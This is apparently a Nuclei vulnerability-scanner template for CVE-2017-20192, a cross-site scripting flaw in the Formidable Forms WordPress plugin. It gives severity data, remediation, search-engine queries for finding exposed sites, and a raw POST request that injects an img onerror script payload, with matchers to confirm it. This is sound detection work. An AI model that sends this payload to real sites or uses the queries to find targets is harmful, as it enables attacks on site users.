id: CVE-2017-20192

info:
  name: Formidable Forms < 2.05.02 - Cross-Site Scripting
  author: 0xanis
  severity: medium
  description: |
    Formidable Form Builder for WordPress versions before 2.05.03 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in form parameters like 'after_html', letting unauthenticated attackers inject and execute arbitrary scripts in victims' browsers
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.05.03 or later.
  reference:
    - https://klikki.fi/formidable-forms-vulnerabilities/
    - https://wordpress.org/plugins/formidable/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-20192
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-20192
    epss-score: 0.01026
    epss-percentile: 0.60189
    cwe-id: CWE-79
    cpe: cpe:2.3:a:strategy11:formidable_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="formidable" && body="wp-content/plugins"
    google-query: inurl:"wp-content/plugins/formidable"
  tags: cve,cve2017,wordpress,wp-plugin,formidable,xss,reflected,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=frm_forms_preview&before_html=<img src=x on[entry_key]error=alert(document.domain) />

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)")'
        condition: and
# digest: 4b0a00483046022100d75fa2030bb3bac3ad15e9e85a8e25d355d807eec9c6945cc7d6c1387bd9ca0d022100d1ff9890064e04c022ec1d598b645490be655e36ff7a16362cc56cd378a85f05:922c64590222798bb761d5b6d8e72950